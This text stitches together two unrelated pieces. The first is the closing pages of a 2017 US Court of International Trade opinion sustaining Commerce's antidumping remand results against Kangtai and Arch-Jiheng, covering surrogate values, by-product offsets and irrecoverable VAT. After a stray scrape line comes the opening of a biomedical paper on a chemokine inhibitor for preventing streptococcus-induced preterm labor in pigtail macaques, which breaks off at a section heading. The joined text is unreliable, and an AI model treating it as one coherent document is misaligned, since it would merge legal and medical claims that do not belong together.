be improper, as it is still not obvious from the record that the former is superior to the latter. See Slip
Op. 15-93 at 26 (“. . . could only lead to the conclusion that the Thai data unequivocally ‘bested’ the
Consol. Court No. 14-00056 Page 15
Philippine data of record”), referencing Universal Camera Corp. v. NLRB, 340 U.S. 474, 488 (1951);
see also Norgren Inc. v. Int’l Trade Comm’n, 699 F.3d 1317, 1326 (Fed. Cir. 2012) (the court’s
responsibility under substantial evidence review is not “to re-weigh de novo the evidence on close
factual questions”) (italics added). Rather, the inquiry is simply whether “‘a reasonable mind might
accept’” that the Philippines is preferable to Thailand. Norgren, 699 F.3d 1317 at 1326, quoting
Universal Camera, 340 U.S. at 477.
Overall, Commerce concluded that “the Philippines had better data quality than
Thailand” that included a financial statement that “allowed for direct calculation of surrogate
financial ratios” Redetermination at 49. Notwithstanding Kangtai’s arguments here on Commerce’s
reasons for preferring the Philippines over Thailand in the surrogate country selection process, the
Redetermination’s articulation of Commerce’s reasons therefor is supported by substantial evidence
on the record. Cf. id. at 7-18. On remand, although Commerce selected Indian data to value
chlorine, Commerce determined that the remaining reasons for preferring Philippine data still
remain. Commerce never “reject[ed] the Philippines . . . on the basis of overall data concerns,” see
Slip Op 15-93 at 22, but it found that the Philippines data were reliable overall when considering the
dozens of chemical inputs, electricity, labor, overhead, SG&A expenses, and profit. Redetermination
at 29.
At this point, Kangtai’s current arguments are inconsistent with the history of this
segment of the proceeding. See, e.g., Kangtai RR Cmts at 6 (arguing, for example, that Commerce
selected the Philippines “primarily” because of the chlorine factor of production). As explained
above, Commerce provided numerous reasons for preferring the Philippines, including the absence
Consol. Court No. 14-00056 Page 16
of a contemporaneous labor value and inferior financial statements. IDM at 7-8. That preference was
not held impermissible, see Slip Op. 15-93 at ___, and Kangtai does not dispute that Thailand lacks
contemporaneous labor data for the period of review, see IDM at 7. Kangtai’s previous arguments
regarding economic comparability, significant production, and substituting Philippine data for
missing Thai values were found unpersuasive. See Slip Op. 15-93 at 23 (“Kangtai’s arguments to
this point do not persuade that Commerce’s selection of the Philippines over Thailand was
erroneous”). Kangtai’s remaining arguments all appear to the effect that the court should find that
“Thailand, not [the] Philippines, is by far the best primary surrogate country.” E.g., Kangtai RR
Cmts at 9. Such arguments essentially ask, once again, for a re-weighing of the evidence, and they
have already been considered unpersuasive or rejected. See Slip Op 15-93 at 20-26. That is, with
respect to the argument(s) that the court should intervene to hold that Thailand has more and better
quality data, better financial statements and is a more significant producer of comparable
merchandise, the court perceives no reason to revisit the prior decision on such argumentation. See
id.
II. “As-Adjusted” Financial Ratio Calculations
In order to avoid double counting of production labor identified in among the selling,
general and administrative (SG&A) expenses of the Mabuhay Vinyl Corporation (“MVC”) financial
statement used for Commerce’s financial ratio calculation, on remand Commerce treated MVC’s
retirement benefits as applicable to all labor (both to direct labor as part of cost of sales and non-
production labor as part of SG&A) and continued to find that the record did not support treating
MVC’s employee benefits as non-production labor and therefore it included those in their entirety
Consol. Court No. 14-00056 Page 17
in the SG&A ratio. The arguments the parties raise here are essentially the same as those addressed
in Clearon III, albeit as applied to this seventh administrative review. The court perceives no reason
for reaching a conclusion at odds with that decision, and for that reason, the Redetermination will
be sustained as to Commerce’s adjustment of its financial ratio calculation to reflect labor production
costs.
III. By-Product Offset
Consistent with its treatment of the respondent’s by-product offset claims in the prior
sixth administrative review, in the original Final Results Commerce announced that it was
“continuing” to treat ammonium sulfate as the by-product rather than the ammonia gas and sulfuric
acid that Commerce has concluded were the by-products of the first through the fifth administrative
reviews. See, e.g., Slip Op. 15-93 at 66-69. Commerce granted Arch-Jiheng’s by-product offset
claim, albeit as adjusted for ammonium sulfate, but denied Kangtai’s claim due to how the by-
product’s disposition was treated among Kangtai’s books and records. Consistent with Clearon II,
Slip Op. 15-91, reconsideration and further explanation was required. See Slip Op. 15-93 at 70-81.
A.
On remand, in considering the respondents’ by-product offset claims Commerce
relied on domestic Philippine prices instead of imported prices to value ammonium sulfate. That
revision in the remand results is not challenged here. The Redetermination then repeats, essentially,
the explanation given in the second remand results of the sixth administrative review for “adjusting”
Commerce’s by-products offset methodology. See Clearon III, Slip Op. 16-110 at 27-32.
Consol. Court No. 14-00056 Page 18
B.
Kangtai and Arch-Jiheng continue to contest Commerce’s determinations as to their
respective by-product offset claims for this seventh administrative review. Kangtai challenges
Commerce’s denial, while Arch-Jiheng repeats arguments similar to those it made on this issue on
the final redetermination of the sixth administrative review. Also, in response to Commerce’s
observation that Arch-Jiheng claimed it had “realized commercial value by selling ammonium
sulfate”, Def’s RR Resp. at 19, Arch-Jiheng argues Commerce’s reasoning is impermissibly post hoc
and factually incorrect because Jiheng had demonstrated commercial value through its introduction
into production, not through the sale of the product produced. See Arch-Jiheng RR Reply at 3. Even
after discounting those points, and after considering the remainder of Arch-Jiheng’s arguments, the
court perceives no reason for reaching a conclusion at odds with that of Clearon III on this issue.
Regarding the denial of Kangtai’s by-product offset claim, the Redetermination again
noted (as stated in the IDM) that it is against Commerce’s established practice to grant a by-product
offset “where income from the by-product is not realized by the company (i.e., recorded as revenue
in the company’s accounting records)”, that during verification of Kangtai’s questionnaire responses
it was observed that Kangtai did not maintain an ammonium sulfate inventory account in its
accounting system nor did Kangtai have an established inventory control process for the ammonium
sulfate by-product, and that in conjunction with certain business proprietary facts on the record of
this proceeding “it is clear that Kangtai has not realized, for purposes of this proceeding, any income
from the sale of the ammonium sulfate by-product.” Redetermination at 24-25 (footnotes omitted).
Consol. Court No. 14-00056 Page 19
Kangtai repeats that realizing sales of the by-product is a requirement that it did not
have before, and it argues Commerce has failed to answer the concerns expressed in the remand
order. See, e.g., Slip Op. 15-93 at 71-72 (“[i]t also remains unclear, in accordance with generally
accepted accounting principles governing co- and by-product cost accounting, why a company must
‘realize’ an actual sale from a downstream by-product before an offset claim pertaining to an
intermediary by-product’s value that has been generated during the production of subject
merchandise will be recognized”). More to the point, Kangtai contends
[T]here is absolute proof that Kangtai received payment for its disposition of
ammonium sulfate and the only discrepancy “hits” or affects an accounting entry for
which the Department turns to a surrogate value in any event. So, in this sense, the
discrepancy has absolutely no impact on the Department’s calculations or the
reliability of the calculations because the financial ratios are taken from a surrogate
country.
Kangtai RR Reply at 13.
This, however, is insufficient to overcome the reason alluded to in the
Redetermination for denying Kangtai’s by-product offset claim,9 as the necessity of a “turn” to a
surrogate value for that by-product only arises upon satisfaction of the requirements of a proper
claim therefor. Commerce determined that Kangtai failed to meet those requirement, and as there
does not appear to be unreasonableness in that determination, a different conclusion will not be
reached. The court has also considered the parties reliance arguments on the issue, which are also
9
To wit: “For business proprietary reasons discussed in the accompanying analysis
memorandum, Kangtai failed to meet the established evidentiary standard regarding realized income
for by-products. The record evidence, which Kangtai cites in support of its claimed by-product
offset, is clearly unreliable and only serves to support the Department’s decision to deny an offset
for ammonium sulfate to Kangtai as the company allegedly receiving payment.” Redetermination
at 47, referencing R-PDoc 14 at 2.
Consol. Court No. 14-00056 Page 20
similar to those considered in Clearon III, and for the reasons stated therein finds them here similarly
unavailing.
IV. Surrogate Value for Ammonium Chloride
In the Final Results, Commerce valued the ammonium chloride FOP using Philippine
import data after rejecting Kangtai’s argument that the Philippine import data were “aberrant”. See
IDM, PDoc 181 at 5, 22-23.
A.
Due to the fact that the Philippine import quantity of ammonium chloride is 128 times
smaller than Kangtai’s purchases and that Commerce did not explain why a respondent’s individual
requirements are not relevant to its analysis of record information, the assumption “that the
Philippine import data could possibly reflect . . . the commercial reality of this FOP in this case” was
queried for its reasonableness. Slip Op. 15-93 at 54.
On remand, Commerce states that although “South Africa and Kangtai may import
and consume, respectively, more ammonium chloride than is imported into the Philippines,” it
compared Philippine import data with the quantities exported to South Africa from India, and
concluded that the Philippine data were “reliable and consistent, in terms of quantity.”
Redetermination at 55. Commerce thus concluded that ammonium chloride was imported into the
Philippines in “commercial quant[ities],” i.e., in competitive commercial transactions. Id. Thus, and
in view of the preference to value factors of production from a single surrogate country, Commerce
continued to use the Philippine data to value ammonium chloride. Id. at 16, citing 19 C.F.R.
§351.408(c)(2).
Consol. Court No. 14-00056 Page 21
B.
Kangtai challenges that determination, arguing that the Philippine import data are
indeed “aberrant” because they reflect a small quantity of imports at a substantially higher per-unit
value than large-quantity imports from other countries and do not reflect a commercial quantity of
ammonium chloride during the relevant period. Kangtai RR Cmts at 13-18. Kangtai points to
Commerce’s mention of South Africa importing a mere 6,330 kilograms of ammonium chloride
from India and argues that the amount was one of the smallest imports into South Africa (and was
still larger than the total import quantity from all countries into the Philippines) and further that
South Africa imported 4,555,382 kilograms during the POR, which “certainly does not support the
Department’s declaration that 5,464 kilograms imported over the course of a year into the primary
surrogate country is a commercial quantity.” Kangtai RR Reply at 11, referencing Def’s RR Resp.
at 28 and PDoc 158 at Ex. SV-20.
However, the fact that Kangtai can muster a different interpretation of the record does
not render Commerce’s interpretation thereof unreasonable. See Consolo v. Federal Maritime
Commission, 383 U.S. 607, 620 (1966) (“the possibility of drawing two inconsistent conclusions
from the evidence does not prevent an administrative agency's finding from being supported by
substantial evidence”). Kangtai contends Commerce on remand has contributed nothing from which
to assume that the Philippine import data reflect the commercial reality of the ammonium chloride
FOP in this case, but Commerce’s analysis of “commercial quantities” appears consistent with its
practice and applicable law. The applicable statute only requires Commerce to value inputs “based
on the best available information”, 19 U.S.C. §1677b(c)(1), a vague term at best, and therefore
Consol. Court No. 14-00056 Page 22
“Commerce is granted broad discretion to determine whether information is the best available
because the statute does not define the term.” Zhejiang DunAn Hetian Metal Co. v. United States,
652 F.3d 1333, 1341 (Fed. Cir. 2011) (citation omitted). Although cases have required a surrogate
value “as representative of the situation in the NME as is feasible,” see Kangtai RR Cmts at 15,
quoting Nation Ford Chem. Co. v. United States, 166 F.3d 1373, 1377 (Fed. Cir. 1999), the “reliable
guideposts” of “commercial reality” and “accurate” (or representative) “must be considered against
what the antidumping statutory scheme demands.” Nan Ya Plastics v. United States, 810 F.3d 1333,
1343 (Fed. Cir. 2016). And in demanding “best available information,” the statute nonetheless
allows Commerce “broad discretion” in selecting that information from economically comparable
countries that are significant producers of the subject merchandise.10 Qingdao Sea-Line Trading Co.
v. United States, 766 F.3d 1378, 1386 (Fed. Cir. 2014). See 19 U.S.C. §1677b(c)(1)&(4). Here,
Commerce discharged its obligation to select the “best available information” by choosing data that
it concluded were not aberrational, were from the primary surrogate country, and reflected
transactions that were made at commercial quantities. See Redetermination at 12-16. In reviewing
that choice, the court’s duty “is ‘not to evaluate whether the information Commerce used was the
best available, but rather whether a reasonable mind could conclude that Commerce chose the best
available information.’” Zhejiang DunAn, 652 F.3d at 1341 (citation omitted).
10
In such context, the cases Kangtai cites to support its proposition are not persuasive. See
Kangtai RR Cmts at 14-15, referencing Calgon Carbon Corp. v. United States, 40 CIT ___, ___, 145
F. Supp. 3d 1312, 1327 (2016), Jiaxing Bro. Fastener Co. v. United States, 38 CIT ___, ___, 961
F. Supp. 2d 1323, 1333 (2014), and Rhodia, Inc. v. United States, 25 CIT 1278, 1286, 185 F. Supp.
2d 1343, 1351 (2001)).
Consol. Court No. 14-00056 Page 23
To the extent Commerce’s choice rests on an interpretation of the governing statute,
moreover, Commerce’s interpretation must be sustained so long as it is reasonable. See Chevron
U.S.A., Inc. v. Nat. Res. Def. Council, Inc., 467 U.S. 837 (1984); Agro Dutch Industries Ltd. v.
United States, 508 F.3d 1024, 1029-30 (Fed. Cir. 2007). Here, Commerce explained that
transactions are made at “commercial quant[ities]” when they “reflect market values”, “i.e.,
competitive commercial transactions, either large or small”. Redetermination at 55, citing, e.g.,
Heavy Forged Hand Tools from China, 66 Fed. Reg. 48026 (Sep. 17, 2001) (final results and partial
rescission), and accompanying I&D Memo at cmt. 11. To the extent Kangtai proposes a different
interpretation, the argument does not show that Commerce’s interpretation is inconsistent with the
statute or otherwise unreasonable. See Agro Dutch, 508 F.3d at 1029-30.
Substantial evidence supports Commerce’s finding that the 5,464 kilograms of
Philippine imports of ammonium chloride reflected competitive commercial transactions. See
Redetermination at 12-16. Citing the underlying import quantities to the Philippines -- “2,882 KG
from the United States and 2,553 KG from Singapore” -- Commerce found that these quantities were
“consistent” with finding significant import volume. Redetermination at 16. Further, import data
suggested “that ammonium chloride is often traded in much smaller quantities.” Id.; see also PDoc
181 at 23. Commerce also found the total import volume of 5,464 kilograms “comparable to the
6,330 KG imported from India to South Africa,” which was the only other data on the record from
a comparable market economy. Redetermination at 16; see also PDoc 158 at Exhs. SV-19 SV-21.
According to Commerce, these examples indicated that the chemical was commercially traded in
quantities smaller than Kangtai’s annual consumption and also indicated that Kangtai is incorrect
Consol. Court No. 14-00056 Page 24
in assuming that 20,000 kilogram shipments are the norm. See Redetermination at 15-16, 55.
Commerce further points out that Kangtai’s assumption is unsupported by anything in the record
stating that ammonium chloride is always or typically shipped in 20,000 kilogram containers. Cf.
Kangtai RR Cmts at 16 (no identified record evidence to support its assumption). A reasonable mind
could therefore conclude that 5,464 kilograms represent competitive commercial transactions that
are not aberrational. See Zhejiang DunAn, 652 F.3d at 1341.
Following remand, Kangtai acknowledges “the difficulties in selecting surrogate
values that duplicate the exact experience of a [PRC] exporter” and also that Commerce need not
“always match the consumption quantity of the respondent to the import quantity in a surrogate
value.” Kangtai RR Cmts at 15-16. In continuing to challenge Commerce’s determination, however,
Kangtai conflates the “commercial quantity” criteria with the significant production prong of the
statute. See id. at 15-16. Kangtai suggests, for example, that the Philippines’ import quantity is too
low for the Philippines to be “a significant producer of the subject or comparable products”. Id. at
15-16. However, the administrative determination that the Philippines is a significant producer of
comparable merchandise has already been upheld. See Slip Op. 15-93 at 16. Kangtai also argues
that “there is no reasonable way to find that 5,464 KG . . . is a commercial quantity that could have
enabled Kangtai to sustain production”, Kangtai RR Cmts at 17, but Commerce need not replicate
the respondent’s experience, Nation Ford Chem., 166 F.3d at 1378, and Commerce’s determination
that the Philippines does produce significant amounts of comparable merchandise does not appear
Consol. Court No. 14-00056 Page 25
unreasonable. See Redetermination at 12, citing IDM, PDoc 200 at 6-10. Accordingly, Kangtai fails
to demonstrate that Commerce’s finding is unsupported by substantial evidence or contrary to law.11
V. Adjustment for Irrecoverable VAT
The issue of Commerce’s deduction of the amount of “irrecoverable” value added tax
(VAT) from the respondent’s export prices was previously remanded voluntarily for further
explanation. See Redetermination at 25-28, 56-59.
A.
Pursuant to the relevant statute, the export price or constructed export price shall be
reduced by any export tax, duty, or other charge imposed on the subject merchandise, with certain
limitations. 19 U.S.C. §1677a(c)(2)(B). Specifically, Commerce shall deduct:
[T]he amount, if included in such price, of any export tax, duty, or other charge
imposed by the exporting country on the exportation of the subject merchandise to
the United States, other than an export tax, duty, or other charge described in [section
1677(6)(C) defining net countervailable subsidies].
Id. Deciding in 2012 due to changed circumstances that this provision applied to certain NMEs,
Commerce listed as an example of an export tax, duty, or other charge “an export tax or VAT that
is not fully refunded upon exportation.” See Methodological Change for Implementation of Section
772(c)(2)(B) of the Tariff Act of 1930, 77 Fed. Reg. 36481, 36482 (June 19, 2012). Commerce
further explained that “the export tax, VAT, duty, or other charge” may often be “a fixed percentage
11
In passing, noted here is that although Commerce acknowledged that there was no reason
to doubt the reliability of the South African data, it opted to adhere to the Philippine data, which it
also found reliable given its preference for inputs from the primary surrogate country.
Redetermination at 14-16, citing 19 C.F.R. §351.408(c)(2). That preference is a valid exercise of
Commerce’s discretion and Kangtai has not challenged it.
Consol. Court No. 14-00056 Page 26
of the price,” in which case Commerce would adjust the export price by the same percentage. Id.
at 36483.
Because the statute does not define “export tax, duty, or other charge imposed”,
Commerce receives deference in its interpretation so long as it is reasonable. See Agro Dutch, 508
F.3d at 1029-30. Here, Commerce found that “export tax, duty, or other charges” includes “a cost
that arises as the result of export sales.” Redetermination at 27. That interpretation is reasonable
and consistent with other cases interpreting the word “charges.” See., e.g., Shell Oil Co. v. United
States, 751 F.3d 1282, 1291-92 (Fed. Cir. 2014). In that case, the Federal Circuit interpreted a
contract provision regarding “taxes, fees, or charges” to include “costs.” Id. Likewise here,
Commerce properly interpreted “other charge imposed” to include “costs”, and irrecoverable VAT
is just such a cost. Kangtai argues that “[e]xport tax cannot reasonably mean an import VAT”,
Kangtai RR Cmts at 25, but even assuming that were true, the statute also includes “other charges,”
which would plainly cover such other charges as VAT.
Further, by requiring the cost to “arise[ ] as the result of export sales,”
Redetermination at 27, Commerce also reasonably interpreted the requirement that the cost be
“imposed . . . on the exportation of the subject merchandise to the United States”, see 19 U.S.C.
§1677a(c)(2)(B), meaning a cost that “arises solely from, and is specific to, exports.”
Redetermination at 26. That is a reasonable interpretation of the statute. As Commerce explained,
the typical VAT regime imposes VAT on imports, but provides mechanisms for companies to
recover those VAT payments, whether they export their merchandise or sell it domestically. Id. at
25-26. In such regimes, companies receive a full rebate upon exportation, and, for domestic sales,
Consol. Court No. 14-00056 Page 27
recover VAT payments by crediting them “against the VAT collected from customers.” Id. at 26.
The PRC’s VAT regime differs from the norm with respect to exports, because companies do not
receive a full rebate on their VAT payments. Id. at 25-26. In the PRC, “some portion of the input
VAT that a company pays on inputs used in the production of exports is not refunded.” Id. Because
this irrecoverable VAT is a charge imposed only on exports, Commerce reasonably concluded that
it is a cost imposed “on the exportation of the subject merchandise”. See 19 U.S.C. §1677a(c)(2)(B).
B.
Kangtai and Arch-Jiheng argue that the VAT deduction is contrary to statute. Kangtai
RR Cmts at 22-26; Arch-Jiheng RR Cmts at 10-15. Kangtai argues that the phrase “imposed . . . on
the exportation”, 19 U.S.C. §1677a(c)(2)(B), “cannot reasonably mean imposed on importation or
acquisition.” Kangtai RR Cmts at 25. However, the “irrecoverable” portion of the VAT is perfected
by exportation. The deduction fits within the statutory language, as there does not appear to be any
practical difference between a new charge imposed at the time of exportation versus a refund that
is withheld at the time of exportation (but which is provided for domestic sales). See
Redetermination at 26-27. Commerce therefore properly recognized that the latter is a “charge”
“imposed” on exportation of the merchandise. See id.; see also Fushun Jinly Petrochem. Carbon
Co. v. United States, Slip Op. 16-25 at 20-25 (Mar. 23, 2016) (sustaining Commerce’s
interpretation).
Kangtai also cites to numerous authorities for the proposition that Commerce should
not apply section 1677a(c)(2)(B) to antidumping proceedings involving the PRC. Kangtai RR Cmts
at 23, 25 (citing Magnesium Corp. of Am. v. United States, 166 F.3d 1364, 1370-71 (Fed. Cir. 1999);
Consol. Court No. 14-00056 Page 28
Globe Metallurgical Inc. v. United States, 35 CIT ___, ___, 781 F. Supp. 2d 1340, 1346-47 (2011).
But those cases involve judicial affirmance of Commerce’s prior methodology, which has since
changed. Methodological Change, 77 Fed. Reg. at 36482. That change alone “presents no separate
ground for disregarding [Commerce’s] present interpretation.” See Long Island Care at Home, Ltd.
v. Coke, 551 U.S. 158, 171 (2007) (citation omitted). Commerce still receives deference with regard
to its reasonable interpretation. See Fushan Jinly, Slip Op. 16-25 at 25.
Commerce applied its interpretation to the facts presented in this review. It found that
the “standard VAT levy on the subject merchandise is seventeen percent” and the VAT rebate rate
“is nine percent.” Redetermination at 27. It determined these rates based on the respondent’s
submissions regarding the PRC’s tax laws and regulations. See. id. at 27 n.83 (citing CDoc 64 at
Exh. C-6.1; CDoc 51, Section C at 30; CDoc 52 at Exh. C-2). The difference between the VAT levy
and the VAT rebate -- eight percent -- was the amount of irrecoverable VAT. Id. at 27-28. This case
presented a situation like the one contemplated in the Methodological Change, in which the
irrecoverable VAT is “a fixed percentage of the price.” 77 Fed. Reg. at 36483. Commerce properly
adjusted the export price “downward by the same percentage.” Id.
Kangtai and Arch-Jiheng argue that Commerce erred in applying the eight percent
deduction as the “irrecoverable” VAT because Commerce has assumed that the comparative value
of raw materials and the FOB value of the finished goods are the same. Kangtai RR Reply at 14-15
(“the Department makes unreasonable assumptions that the comparative value of raw materials and
the FOB value of the finished goods are the same”); Arch-Jiheng RR Cmts at 12-15. According to
Arch-Jiheng, “Commerce cannot merely subtract the 9% refund rate from the 17% tax rate applied
Consol. Court No. 14-00056 Page 29
to inputs . . . , because those two rates are percentages of different values.” Id. at 13. In Arch-
Jiheng’s view, the 17 percent rate applies only to purchases of the inputs for the subject merchandise,
whereas the nine percent rebate applies to the exported subject merchandise. Id.
The defendant’s response is to note that in Kangtai’s submission of the tax
information for the record, the relevant PRC regulations present the VAT rate and the VAT refund
rate in the same row on the same types of goods. See CDoc 52 at Exh. 2. The defendant contends
the record does not show that the respondents receive anything less than a 17 percent rebate (through
credits) on domestic sales of chlor-isos, and it argues this is important, because the crux of
Commerce’s “inquiry” is to identify costs that specifically apply to exports and not to domestic sales.
Def’s RR Resp. at 33-34, referencing Redetermination at 26-27. Thus, it argues, given record
evidence supporting a VAT rate of 17 percent on imported inputs and the lower VAT refund rate of
nine percent on exported goods, CDoc 52 at Exh. 2, Commerce reasonably calculated an eight
percent rate of irrecoverable VAT based on the value of the exported merchandise. See id. at 34,
referencing Redetermination at 26-28.
Arch-Jiheng replies that it is unclear what this “inquiry” pertains to, because “the only
‘cost’ that could conceivably be considered to apply to exports would be the actual amount of VAT
not refunded.” Arch-Jiheng RR Reply at 18. But that is precisely so. Arch-Jiheng’s hypothetical
in its reply comments, of the farmer who sells wheat to a baker for $10, who turns it into bread and
sells it to a store for $20, which in turn sells to either a domestic buyer or a foreign buyer for $30
(and assuming a 10% VAT rate and a 5% refund rate for simplicity’s sake along the line of
transactions), implies that under Commerce’s approach Commerce would ultimately deduct $1.50
Consol. Court No. 14-00056 Page 30
from the $30 U.S. price (because 10% - 5% 5%, and $30 x 5% $1.50). See id. at 17-18. “The
problem”, according to Arch-Jiheng, “is that the store has already received $1.50 in refund, leaving
only fifty cents of the $2 VAT it paid unrefunded (or in Commerce terminology ‘irrecoverable’).”
Id. at 18. And it contends that “Commerce’s approach, in all instances, substantially overstates the
amount of ‘irrecoverable VAT’ in such transactions and would do so, even if the [PRC] government
paid no refund at all.”
The court cannot agree, as Arch-Jeheng’s statement of the “problem” appears to be
precisely the one that Commerce’s solution is meant to address. The “irrecoverable” part of the VAT
that is not refunded by the PRC government to the seller must be treated as a government-mandated
“charge” that the seller must seek to recover by means of the price it sets to the foreign buyer.
Because the seller must include that charge in its price to the U.S. buyer, Commerce in essence
concluded that it is a charge “imposed . . . on the exportation of the subject merchandise” and that
accordingly the U.S. Price must be adjusted downward in order to achieve the objective of tax
neutrality. In other words, Commerce simply appears to have interpreted the whole of the statutory
phrase “imposed . . . on the exportation of the subject merchandise” in the sense of the
“irrecoverable” VAT being “perfected” upon such exportation. See Bowman, supra. And given
Chevron, the court is unable to conclude that Commerce has unreasonably interpreted, because
“impose” means “[t]o charge; impute”, or “[t]o subject (one) to a charge” or “lay as a charge, burden,
tax, duty, obligation, command, penalty, etc.” and an “impost” is “[t]hat which is imposed or levied;
a tax, tribute, or duty; esp. a duty or tax that is laid by government on goods imported into the
country”, Webster’s New International Dictionary 1251 (2nd ed., unabridged, 1954), such as the
Consol. Court No. 14-00056 Page 31
PRC’s VAT that was laid on the inputs embodied in the subject merchandise. It is inarguable that
an “irrecoverable” portion of that VAT still manifestly lay on the embodied inputs on or at the time
of the exportation of the subject merchandise.
Lastly with regard the respondents’ argument that Commerce has overstated the
amount of the “irrecoverable” VAT because they paid the 17% rate with respect to imported inputs
and that the 9% refund rate should have been similarly determined with respect to those inputs rather
than the finished merchandise, the argument is appealing, but the court has been referred to no
information of record that would show that to have been what actually transpired between the
respondents and the PRC government in fact, for example a record of actual VAT payment(s) in
comparison with actual VAT refund amount(s), or some other such documentation from which could
be inferred that the amount rebated was related in fact to the amount of VAT paid on the relevant
inputs. Commerce’s conclusion that the amount of the “irrecoverable” VAT is properly determined
by reference to the VAT refund rate that pertains to the exported product in accordance with
Kangtai’s submitted tax information does not appear to be an unreasonable interpretation of the
available evidence of record, and therefore the court cannot conclude that Commerce’s deduction
of that “irrecoverable” amount from the export price was unreasonable on this record. See 19 U.S.C.
§1677a(c)(2)(B). The court has also considered the parties remaining arguments on the issues and
finds them unavailing.
Conclusion
For the above reasons, judgment will enter sustaining the results of remand.
Dated: January 19, 2017 /s/ R. Kenton Musgrave
New York, New York R. Kenton Musgrave, Senior Judge
| 2024-01-23T01:26:51.906118 | https://example.com/article/9447 |
Introduction {#s1}
============
Preterm birth is the single most important cause of perinatal mortality and morbidity and a major contributor to perinatal and infant mortality worldwide. Annually, there are more than 15 million preterm births, which contribute to more than 1 million deaths globally ([@B1], [@B2]). The neonatal sequelae of preterm birth can be significant and lead to long-term disability, cognitive impairment, blindness, and pulmonary complications ([@B3]--[@B6]). There is a differential impact upon the small subset of early preterm births before 32 weeks gestation (1--2% of all births, 16% of preterm births), because these infants account for the majority of neurological morbidity and perinatal mortality ([@B7], [@B8]). Although progesterone supplementation was shown to prevent preterm birth in women with a history of a prior preterm birth, more recent trials have not shown benefit ([@B9]--[@B13]). Clearly, new approaches are urgently needed to prevent perinatal mortality and serious morbidities associated with preterm birth.
Mechanisms leading to the onset of labor involve a complex series of fetal and placental endocrine events that act to prime the myometrium. In a healthy and normal pregnancy, the uterus transitions from a quiescent organ to one that is able to efficiently propagate electrical signals to generate contractions near term ([@B14], [@B15]). Both term and preterm labor (PTL) is known to be an inflammatory process with immune cells and inflammatory proteins (cytokines, chemokines) playing a key role in parturition ([@B16]--[@B20]). We and others have demonstrated that inflammation within the myometrium and decidua *precedes* the onset of spontaneous and PTL, thereby implicating an inflammatory process as a labor inciting event ([@B19], [@B21]--[@B26]). Choriodecidual tissues at the maternal-fetal interface represent a primary site for the synchronized infiltration of peripheral leukocytes ([@B21], [@B27], [@B28]) that could have a direct effect on the myometrium ([@B24], [@B27], [@B29]) to promote uterine contractions and cervical ripening ([@B16], [@B29]--[@B31]). A pharmacologic block of inflammation within the myometrium, decidua and placenta may represent a useful therapeutic approach for preventing preterm birth.
Recruitment of leukocytes from the peripheral circulation to the decidua and myometrium is mediated by chemokines, a class of cytokines that act as chemoattractants ([@B32], [@B33]). Chemokines include \~50 endogenous chemokine ligands and 20 G protein-coupled receptors \[reviewed in ([@B32])\]. In women with PTL, several chemokines are elevated in the amniotic fluid, placenta, decidua and/or myometrium including monocyte chemotactic protein 1 (MCP-1/CCL-2), chemokine (C-X-C motif) ligand 1 (CXCL1), interleukin-8 (IL-8/CXCL8), interleukin-6 (IL-6), and macrophage migration inhibitory factor (MIF) ([@B28], [@B34]--[@B41]). Chemokine receptor antagonists might inhibit PTL and have been used in clinical trials to prevent cancer metastasis ([@B42], [@B43]) and as an early stage HIV therapy ([@B44]). In rodent models, chemokine receptor antagonists have been used to prevent or ameliorate kidney disease ([@B45]--[@B47]), bowel inflammation ([@B48], [@B49]), and brain injury or stroke ([@B50]). Broad Spectrum Chemokine Inhibitors (BSCI) have also been developed that can simultaneously block multiple chemokine signaling pathways ([@B51]).
In this study, we used a BSCI, which specifically binds the cell-surface type-2 somatostatin receptor (SSTR2) and results in a potent suppression of chemokine signaling without directly affecting chemokine receptors ([@B52]--[@B54]). Our previous work showed that pre-treatment with the BSCI (BN83470) resulted in reduced uterine inflammation and partially prevented preterm birth induced by lipopolysaccharide (LPS) in a mouse model of preterm labor ([@B55]). The efficacy of a BSCI to ameliorate disease has been demonstrated in a wide range of animal models (e.g., allergic asthma, surgical adhesion formation, rheumatoid arthritis, and HIV replication) ([@B51], [@B53], [@B56]--[@B60]). This data provided the basis for this study that uses a new BSCI compound (FX125L) with superior pharmaceutical properties including pharmacokinetics, safety and toxicology with the potential for greater therapeutic efficacy \[([@B61]) and Dr. David Fox, Warwick University, personal communication\]. Whether a BSCI, like FX125L, might prevent PTL by limiting leukocyte recruitment and inflammatory cascades within the chorioamniotic membranes and myometrium is unknown.
We hypothesized that prophylaxis with a BSCI would downregulate the inflammatory microenvironment induced by Group B Streptococcus (GBS, *Streptococcus agalactiae*) to suppress PTL, but still allow for bacterial resolution. GBS is a common lower genital tract bacteria associated with fetal injury, stillbirth, and preterm birth ([@B62]--[@B71]). To test our hypothesis, we used a unique chronically catheterized pregnant non-human primate (NHP; *Macaca nemestrina*, pigtail macaque) in which we have previously studied the pathogenesis of GBS-induced inflammation and preterm birth ([@B72]--[@B76]). In this model, we inoculate GBS into the choriodecidual space, between the uterine muscle and the chorioamniotic membranes, where bacteria are first thought to come in contact with the choriodecidual tissues and myometrium after ascending from the vagina ([@B72], [@B75], [@B77]). Herein, we demonstrate that prophylactic BSCI administration reduced the rate of PTL, but failed to limit bacterial invasion of the amniotic cavity and fetus, which led to greater fetal inflammation and injury.
Materials and Methods {#s2}
=====================
Ethics Statement
----------------
All animal experiments were carried out in strict accordance with the recommendations in the Guide for the Care and Use of Laboratory Animals of the National Research Council and the Weather all report, "The use of non-human primates in research." The University of Washington Institutional Animal Care Use Committee approved the protocol (Permit Number: 4165-01). All surgery was performed under general anesthesia and all efforts were made to minimize suffering.
Written informed consent for donation of adult human blood was obtained from subjects, per the Principles in the WMA Declaration of Helsinki and Dept. of Health and Human Services Belmont Report. The study was approved by the Seattle Children\'s Research Institute Institutional Review Board (protocol \#11117). Children under the age of 18 were not recruited for donation of human blood.
Study Design and the Chronically Catheterized NHP Model
-------------------------------------------------------
